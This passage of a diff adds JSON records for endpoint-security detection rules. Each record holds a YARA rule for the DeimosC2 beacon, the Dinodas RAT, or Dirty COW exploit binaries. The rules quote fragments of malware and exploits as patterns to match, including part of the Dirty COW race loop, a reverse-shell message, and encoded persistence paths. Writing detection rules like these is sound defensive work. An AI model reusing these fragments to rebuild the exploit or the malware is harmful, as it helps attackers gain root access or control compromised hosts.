+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1573",
+    "attack.t1027",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-deimos_beacon_winx86_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569767Z",
+  "creation_date": "2026-03-23T11:46:25.569769Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569774Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/DeimosC2/DeimosC2"
+  ],
+  "name": "deimos_beacon_winx86.yar",
+  "content": "rule deimos_winx86 {\n    meta:\n        title = \"DeimosC2 x86 Beacon\"\n        id = \"4b9f3080-79ce-4687-8c45-785e85dad4a7\"\n        description = \"Detects a Windows DeimosC2 x86 beacon.\\nDeimosC2 is a post-exploitation Command & Control (C2) tool designed to maintain persistence and execute malicious commands on compromised Windows systems.\\nIt employs various communication methods to establish command and control channels, enabling attackers to remotely control infected machines.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/DeimosC2/DeimosC2\"\n        date = \"2022-11-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1573;attack.t1068\"\n        classification = \"Windows.Framework.Deimos\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // a325c7729d39e5530b2c0804cd28b4dfb1d7560736ae5cbc7631fa5949cf7940\n\n        $general_1 = \"github.com/DeimosC2/DeimosC2/agents/resources/fingerprint.init\" fullword ascii\n        $general_2 = \"github.com/DeimosC2/DeimosC2/agents/resources/agentfunctions.KillNetList\" fullword ascii\n        $general_3 = \"github.com/DeimosC2/DeimosC2/agents/resources/shellexec/exec_windows.go\" fullword ascii\n        $general_4 = \"github.com/DeimosC2/DeimosC2/agents/resources/fingerprint\" fullword ascii\n\n        $path_powershell = \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\" ascii\n        $path_cmd = \"C:\\\\Windows\\\\System32\\\\cmd.exe\" ascii\n\n        $first_connection_1 = {\n            8D ?? ?? ?? ?? ??                             // lea     eax, aCWindowsSystem_0 ; \"C:\\\\Windows\\\\System32\\\\WindowsPowerShel\"...\n            89 ?? 24                                      // mov     [esp+154h+var_154.ptr], eax ; int\n            C7 44 24 ?? 39 00 00 00                       // mov     [esp+154h+var_154.len], 39h ; '9' ; int\n            E8 ?? ?? ?? ??                                // call    os_Stat\n            8B 44 24 ??                                   // mov     eax, [esp+154h+var_140]\n            8B ?? 24 ??                                   // mov     ecx, [esp+154h+var_144]\n            85 C9                                         // test    ecx, ecx\n        }\n\n        $first_connection_2 = {\n            8D ?? ?? ?? ?? ??                             // lea     ebx, aCWindowsSystem ; \"C:\\\\Windows\\\\System32\\\\cmd.exe\"\n            89 ?? 24                                      // mov     [esp+154h+var_154.ptr], ebx ; int\n            C7 44 24 ?? 1B 00 00 00                       // mov     [esp+154h+var_154.len], 1Bh ; int\n            E8 ?? ?? ?? ??                                // call    os_Stat\n            8B 44 24 ??                                   // mov     eax, [esp+154h+var_140]\n            8B ?? 24 ??                                   // mov     ecx, [esp+154h+var_144]\n            85 C9                                         // test    ecx, ecx\n        }\n\n        $fingerprinting = {\n            89 84 24 ?? ?? ?? ??                          // mov     [esp+154h+var_D4], eax\n            89 54 24 ??                                   // mov     [esp+154h+var_130], edx\n            89 5C 24 ??                                   // mov     [esp+154h+var_12C], ebx\n            E8 ?? ?? ?? ??                                // call    github_com_DeimosC2_DeimosC2_lib_privileges_AdminOrElevated\n            0F B6 ?? ??                                   // movzx   eax, byte ptr [esp+154h+var_154.ptr]\n            88 ?? 24 ??                                   // mov     [esp+154h+var_131], al\n            0F B6 ?? ?? ??                                // movzx   ecx, byte ptr [esp+154h+var_154.ptr+1]\n            88 ?? ?? ??                                   // mov     [esp+154h+var_132], cl\n            E8 ?? ?? ?? ??                                // call    github_com_DeimosC2_DeimosC2_agents_resources_fingerprint_FingerPrint\n        }\n\n        $error_handling = {\n            FF D1                                         // call    ecx\n            8B 44 24 ??                                   // mov     eax, [esp+154h+var_154.len]\n            8B ?? 24 ??                                   // mov     ecx, [esp+154h+var_154.cap]\n            89 ?? 24                                      // mov     [esp+154h+var_154.ptr], eax\n            89 ?? 24 ??                                   // mov     [esp+154h+var_154.len], ecx\n            E8 ?? ?? ?? ??                                // call    github_com_DeimosC2_DeimosC2_agents_resources_agentfunctions_ErrHandling\n            31 C0                                         // xor     eax, eax\n            31 C9                                         // xor     ecx, ecx\n            31 D2                                         // xor     edx, edx\n        }\n\n        $shell_execute = {\n            8B 05 ?? ?? ?? ??                             // mov     eax, dword_??????\n            8B 0D ?? ?? ?? ??                             // mov     ecx, dword_??????\n            89 44 24 ??                                   // mov     [esp+64h+var_58], eax ; int\n            89 4C 24 ??                                   // mov     [esp+64h+var_54], ecx ; int\n            E8 ?? ?? ?? ??                                // call    github_com_DeimosC2_DeimosC2_agents_resources_shellexec_ShellExecute\n            8B 44 24 ??                                   // mov     eax, [esp+64h+var_50]\n            8B 4C 24 ??                                   // mov     ecx, [esp+64h+var_4C]\n            8B 54 24 ??                                   // mov     edx, [esp+64h+var_48]\n            0F ?? ?? 24 ??                                // movzx   ebx, [esp+64h+arg_C]\n            84 DB                                         // test    bl, bl\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and (\n            1 of ($general_*)\n            or (all of ($path_*) and all of ($first_connection_*) and ($fingerprinting))\n            or ($error_handling)\n            or ($shell_execute)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "deimos_winx86"
+  ],
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Deimos"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1573",
+    "attack.t1027",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-dinodas_common_tk_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586987Z",
+  "creation_date": "2026-03-23T11:46:25.586989Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586995Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/dinodasrat-linux-implant/112284/\nhttps://www.welivesecurity.com/en/eset-research/operation-jacana-spying-guyana-entity/"
+  ],
+  "name": "dinodas_common_tk.yar",
+  "content": "rule dinodas_common_tk {\n    meta:\n        title = \"Dinodas RAT (b2f1620b403e)\"\n        id = \"0991a16c-c8da-4499-9ff4-b2f1620b403e\"\n        description = \"Detects the Dinodas RAT.\\nDinodas is a C++ Remote Access Trojan (RAT) active since at least 2022, associated with China-linked attack campaigns.\\nIt is capable of operating on both Windows and Linux systems.\\nThis malware establishes persistence, collects system information, and communicates with its command-and-control servers using encrypted channels.\"\n        references = \"https://securelist.com/dinodasrat-linux-implant/112284/\\nhttps://www.welivesecurity.com/en/eset-research/operation-jacana-spying-guyana-entity/\"\n        date = \"2024-03-29\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1140;attack.t1070.004;attack.t1564.001;attack.discovery;attack.t1057;attack.collection;attack.t1113;attack.command_and_control;attack.t1573.001;attack.t1095;attack.exfiltration;attack.t1041\"\n        classification = \"Trojan.Dinodas\"\n        context = \"file,process,thread,file.pe,file.elf\"\n        os = \"Windows,Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // e0f109836a025d4531ea895cebecc9bdefb84a0cc747861986c4bc231e1d4213\n        // 15412d1a6b7f79fad45bcd32cf82f9d651d9ccca082f98a0cca3ad5335284e45\n        // bf830191215e0c8db207ea320d8e795990cf6b3e6698932e6e0c9c0588fc9eff\n        // d17fe5bc3042baf219e81cbbf991749dfcd8b6d73cf6506a8228e19910da3578\n\n        $kc1 = { A1 A1 18 AA 10 F0 FA 16 06 71 B3 08 AA AF 31 A1 } // C2 TEA Key\n        $kc2 = { A1 01 A8 EA C0 10 FB 12 06 71 F3 18 AC A0 61 AF } // C2 TEA Key\n        $kn1 = { A0 21 A1 FA 18 E0 C1 30 1F 9F C0 A1 A0 A6 6F B1 } // Name TEA Key\n        $kp1 = { 11 0A A8 E1 C0 F0 FB 10 06 71 F3 18 AC A0 6A AF } // Filepath TEA Key\n        $d1 = /\\w{2,10}_%s_%s_%u_V[\\-\\d\\.]{1,18}/ ascii // Dinodas target identifier format string\n        $d2 = \"%s\\t%s\\t%s\\t%llu\\t%u\" ascii fullword // Command listing result format string\n        $d3 = \"%u%s\\t%llu\\t%llu\\t%u\\n\" ascii // Command listing result format string\n\n    condition:\n        ((uint16be(0) == 0x4D5A) or (uint32be(0) == 0x7F454C46))\n        and filesize > 20KB and filesize < 800KB\n        and (any of ($d*))\n        and (any of ($k*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "dinodas_common_tk"
+  ],
+  "rule_creation_date": "2024-03-29",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Trojan.Dinodas"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.execution",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001",
+    "attack.t1140",
+    "attack.t1070.004",
+    "attack.t1095",
+    "attack.t1113",
+    "attack.t1041",
+    "attack.t1106",
+    "attack.t1057",
+    "attack.t1573.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "file",
+    "file.pe",
+    "process",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-dinodas_linstr_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577148Z",
+  "creation_date": "2026-03-23T11:46:25.577151Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577160Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/dinodasrat-linux-implant/112284/\nhttps://www.welivesecurity.com/en/eset-research/operation-jacana-spying-guyana-entity/"
+  ],
+  "name": "dinodas_linstr.yar",
+  "content": "rule dinodas_linstr {\n    meta:\n        title = \"Dinodas RAT (b6adecae383e)\"\n        id = \"0bdf22bf-f2a7-422a-aec5-b6adecae383e\"\n        description = \"Detects the Dinodas RAT.\\nDinodas is a C++ Remote Access Trojan (RAT) active since at least 2022, associated with China-linked attack campaigns.\\nIt is capable of operating on both Windows and Linux systems.\\nThis malware establishes persistence, collects system information, and communicates with its command-and-control servers using encrypted channels.\"\n        references = \"https://securelist.com/dinodasrat-linux-implant/112284/\\nhttps://www.welivesecurity.com/en/eset-research/operation-jacana-spying-guyana-entity/\"\n        date = \"2024-03-29\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1140;attack.t1070.004;attack.t1564.001;attack.discovery;attack.t1057;attack.collection;attack.t1113;attack.command_and_control;attack.t1573.001;attack.t1095;attack.exfiltration;attack.t1041\"\n        classification = \"Linux.Trojan.Dinodas\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 15412d1a6b7f79fad45bcd32cf82f9d651d9ccca082f98a0cca3ad5335284e45\n        // bf830191215e0c8db207ea320d8e795990cf6b3e6698932e6e0c9c0588fc9eff\n        // ebdf3d3e0867b29e66d8b7570be4e6619c64fae7e1fbd052be387f736c980c8e\n\n        $a1 = \"%s can't be opened/n\" ascii fullword\n        $a2 = \"chkconfig --list | grep %s\" ascii fullword\n        $a3 = \"cmd over return [%s]\" ascii fullword\n        $a4 = \"int MyShell::createsh()\" ascii fullword\n        $a5 = \"\\x00static int IniFile::write_profile_string\" ascii\n        $a6 = \"\\x00static int IniFile::read_profile_string\" ascii\n        $a7 = \"/proc/%s/status\" ascii fullword\n        $a8 = \"%04u-%02u-%02u %02u:%02u:%02u\" ascii fullword\n        $a9 = \"touch   -d \\\"\" ascii\n\n    condition:\n        (uint32be(0) == 0x7F454C46)\n        and filesize > 20KB and filesize < 800KB\n        and (6 of them)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "dinodas_linstr"
+  ],
+  "rule_creation_date": "2024-03-29",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Trojan.Dinodas"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.execution",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001",
+    "attack.t1140",
+    "attack.t1070.004",
+    "attack.t1095",
+    "attack.t1113",
+    "attack.t1041",
+    "attack.t1106",
+    "attack.t1057",
+    "attack.t1573.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-dinodas_winstr_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573326Z",
+  "creation_date": "2026-03-23T11:46:25.573328Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573333Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/dinodasrat-linux-implant/112284/\nhttps://www.welivesecurity.com/en/eset-research/operation-jacana-spying-guyana-entity/"
+  ],
+  "name": "dinodas_winstr.yar",
+  "content": "rule dinodas_winstr {\n    meta:\n        title = \"Dinodas RAT (5533bad8b8c3)\"\n        id = \"3e5a77a7-74a0-4a7e-b75c-5533bad8b8c3\"\n        description = \"Detects the Dinodas RAT.\\nDinodas is a C++ Remote Access Trojan (RAT) active since at least 2022, associated with China-linked attack campaigns.\\nIt is capable of operating on both Windows and Linux systems.\\nThis malware establishes persistence, collects system information, and communicates with its command-and-control servers using encrypted channels.\"\n        references = \"https://securelist.com/dinodasrat-linux-implant/112284/\\nhttps://www.welivesecurity.com/en/eset-research/operation-jacana-spying-guyana-entity/\"\n        date = \"2024-03-29\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1140;attack.t1070.004;attack.t1564.001;attack.discovery;attack.t1057;attack.collection;attack.t1113;attack.command_and_control;attack.t1573.001;attack.t1095;attack.exfiltration;attack.t1041\"\n        classification = \"Windows.Trojan.Dinodas\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // e0f109836a025d4531ea895cebecc9bdefb84a0cc747861986c4bc231e1d4213\n        // d17fe5bc3042baf219e81cbbf991749dfcd8b6d73cf6506a8228e19910da3578\n        // 50cdd2397836d33a8dc285ed421d9b7cc69e38ba0421638235206fd466299dab\n\n        $a1 = \"stopwork\" ascii fullword\n        $a2 = \"ioctlsocket get len=%u\" ascii fullword\n        $a3 = \".?AVUploadState@@\" ascii fullword\n        $a4 = \"unknow_PC\" ascii fullword\n        $a5 = \".?AVTcpControl@@\" ascii fullword\n        $a6 = \"%s\\t%s\\t%s\\t%llu\\t%u\" ascii fullword\n        $a7 = \"QXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw=\" ascii fullword\n        $a8 = \"XFByb2dyYW0gRmlsZXNcQXBwbGljYXRpb24gVG1wXA==\" ascii fullword\n\n    condition:\n        (uint16be(0) == 0x4D5A)\n        and filesize > 20KB and filesize < 800KB\n        and (5 of them)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "dinodas_winstr"
+  ],
+  "rule_creation_date": "2024-03-29",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Dinodas"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.execution",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001",
+    "attack.t1140",
+    "attack.t1070.004",
+    "attack.t1095",
+    "attack.t1113",
+    "attack.t1041",
+    "attack.t1106",
+    "attack.t1057",
+    "attack.t1573.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-dirtycow_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.565502Z",
+  "creation_date": "2026-03-23T11:46:25.565504Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.565510Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://dirtycow.ninja/\nhttps://github.com/rexpository/Linux-privilege-escalation\nhttps://github.com/dirtycow/dirtycow.github.io/wiki/PoCs"
+  ],
+  "name": "dirtycow.yar",
+  "content": "rule dirty_cow {\n    meta:\n        title = \"CVE-2016-5195 Dirty COW Exploitation\"\n        id = \"d2b0ccd7-b0fb-4feb-9d55-5e6bf347ef3a\"\n        description = \"Detects attempts to exploit CVE-2016-5195, also known as Dirty COW, a Linux kernel privilege escalation vulnerability.\\nDirty COW is a local privilege escalation flaw in the Linux Kernel. It exploits a race condition in the kernel's copy-on-write (COW) mechanism, allowing attackers to gain write access to read-only memory mappings and escalate privileges.\\nThis vulnerability can be used to gain root access by overwriting setuid binaries or sensitive system files.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://dirtycow.ninja/\\nhttps://github.com/rexpository/Linux-privilege-escalation\\nhttps://github.com/dirtycow/dirtycow.github.io/wiki/PoCs\"\n        date = \"2026-01-29\"\n        modified = \"2026-02-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2016-5195\"\n        classification = \"Linux.Exploit.DirtyCow\"\n        context = \"process,memory,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 09f0cdd658ce5f9c7c96d7d612a82da816baa2268349407b4a26567be6957fba\n        // 3be75a45d1439ff35e487e23fe5c33b0795f138ce0aa3797d3aa827397f0beab\n        // 7e11e62fecdb44373c2c995c83e3353ad0e093ef16497180d4851cd8fe89b79a\n        // 8ac2696e7558cb97be71d18bb78b2c39be30a51aaf0330eb6a75be48346b3d9b\n        // 9f59952ddce4168a553233329e737fb2e1b635a685643f9334c5eb37e06e150a\n        // 71b788f9b8b87ca1be6566703fc47875938aaea7834e825ba0b53a0e344552d4\n\n        $canary = \"680710eb947e9a2da895bd107a17ed2c6d388398aac58b1dbac159a346673b82\" ascii\n\n        $s1 = \"echo '0' > /proc/sys/vm/dirty_writeback_centisecs\" ascii\n        $s2 = \"echo 0 > /proc/sys/vm/dirty_writeback_centisecs\" ascii\n        $s3 = \"dirtyc0w target_file new_content\" ascii\n        $s4 = \"Racing, this may take a while..\" ascii\n        $s5 = \"DirtyCow root privilege\" ascii\n        $s6 = \"/home/xlucas/local/crystal-0.19.4-1/src/kernel.cr\" ascii\n        $s7 = \"/src/dirtycow.cr\" ascii\n        $s8 = \"Usage: dirtycow\" ascii\n        $s9 = \"[*] exploiting (%s)\\n\" ascii\n        $s10 = \"[*] madvise thread stops, return code sum %d, iterations %d\" ascii\n        $s11 = \"[-] this vDSO version isn't supported\" ascii\n        $s12 = \"[*] let make some c0ws dirty\" ascii\n        $s13 = \"[+] ok we have some dirty things going on\" ascii\n        $s14 = \"[*] let's clean up...\" ascii\n        $s15 = \"usage: ./mucow dest < payload\" ascii\n        $s16 = \"dirtyCowFun\" ascii\n        $s17 = \"$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND\" ascii // dirtyCowFun password\n        $s18 = \"[*] waiting for reverse connect shell...\" ascii\n\n        $go_poc_1 = \"Go buildinf:\" ascii\n        $go_poc_2 = \"dirty-cow-golang/dirtyc0w.go\" ascii\n\n        $ptrace_str_1 = \"ptrace(PTRACE_POKETEXT)\" ascii\n        $ptrace_str_2 = \"ptrace(PTRACE_PEEKTEXT)\" ascii\n        $ptrace_str_3 = \"ptrace(PTRACE_TRACEME)\" ascii\n        $ptrace_str_4 = \"prctl(PR_SET_PDEATHSIG)\" ascii\n        $ptrace_str_5 = \"ptrace(PTRACE_CONT)\" ascii\n\n        $pokemon_poc_1 = \"(___)\" ascii\n        $pokemon_poc_2 = \"(o o)_____/\" ascii\n        $pokemon_poc_3 = \"madvise %d\" ascii\n        $pokemon_poc_4 = \"mmap %lx\" ascii\n\n        // https://github.com/rapid7/metasploit-framework/pull/7476/files\n        $msf_1 = \"thread stopped\" ascii\n        $msf_2 = \"%s overwritten\" ascii\n        $msf_3 = \"cp %s /tmp/bak\" ascii\n        $msf_4 = \"/usr/bin/passwd\" ascii\n\n        // void *madviseThread(void *arg)\n        // {\n        //   char *str;\n        //   str=(char*)arg;\n        //   int i,c=0;\n        //   for(i=0;i<100000000;i++)\n        //   {\n        //     c+=madvise(map,100,MADV_DONTNEED);\n        //   }\n        //   printf(\"madvise %d\\n\\n\",c);\n        // }\n        $madvise_thread_1 = {\n            48 [5] 00                       // mov     rax, qword [rel map]\n            ?? 04 00 00 00                  // mov     edx, 0x4\n            ?? 64 00 00 00                  // mov     esi, 0x64\n            48 89 C7                        // mov     rdi, rax\n            E8 [4]                          // call    madvise\n            01 [2]                          // add     dword [rbp-0x4 {var_c}], eax\n            83                              // add     dword [rbp-0x8 {i}], 0x1\n        }\n\n        // void *trigger(void *arg)\n        // {\n        //\n        //   int i,c=0;\n        //   for(i=0;i<100000000 && !die ;i++)\n        //   {\n        //     c+=madvise(map,offset+SHELL_SIZE,MADV_DONTNEED);\n        //     if(die) break;\n        //   }\n        // }\n        $madvise_thread_2 = {\n            00 00                           // mov     rax, qword [rel offset]\n            48 83 C0 28                     // add     rax, 0x28\n            48 89 C1                        // mov     rcx, rax\n            [5] 00 00                       // mov     rax, qword [rel map]\n            ?? 04 00 00 00                  // mov     edx, 0x4\n            48 89 CE                        // mov     rsi, rcx\n            48 89 C7                        // mov     rdi, rax\n            [12-18]                         // call    madvise\n                                            // add     dword [rbp-0x4 {var_c}], eax\n                                            // mov     eax, dword [rel die]\n                                            // test    eax, eax\n            7? ??                           // jne     0x4012a0\n            [4]                             // add     dword [rbp-0x8 {i}], 0x1\n            [3] FF E0 F5 05                 // cmp     dword [rbp-0x8 {i}], 0x5f5e0ff\n            7?                              // jg      0x4012a1\n        }\n\n        // Golang Syscall module\n        $madvise_thread_3 = {\n            B8 1C 00 00 00                  // mov     eax, 0x1c\n            B9 64 00 00 00                  // mov     ecx, 0x64\n            BF 04 00 00 00                  // mov     edi, 0x4\n            0F 1F 00                        // nop     dword [rax]\n            E8                              // call    syscall.Syscall\n        }\n\n        // https://github.com/sivizius/dirtycow.fasm\n        $dirtycow_fasm = {\n            48 BB 00 00 00 00 02 00 00 00   // mov     rbx, 0x200000000\n            48 C7 C2 04 00 00 00            // mov     rdx, 0x4\n            48 C7 C6 64 00 00 00            // mov     rsi, 0x64\n            4C 89 FF                        // mov     rdi, r15\n            48 C7 C0 1C 00 00 00            // mov     rax, 0x1c\n            0F 05                           // syscall\n        }\n\n    condition:\n        (2 of ($s*) or all of ($go_poc_*) or all of ($ptrace_str_*) or all of ($pokemon_poc_*) or all of ($msf_*) or 1 of ($madvise_thread_*) or $dirtycow_fasm) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "dirty_cow"
+  ],
+  "rule_creation_date": "2026-01-29",
+  "rule_modified_date": "2026-02-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Exploit.DirtyCow"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
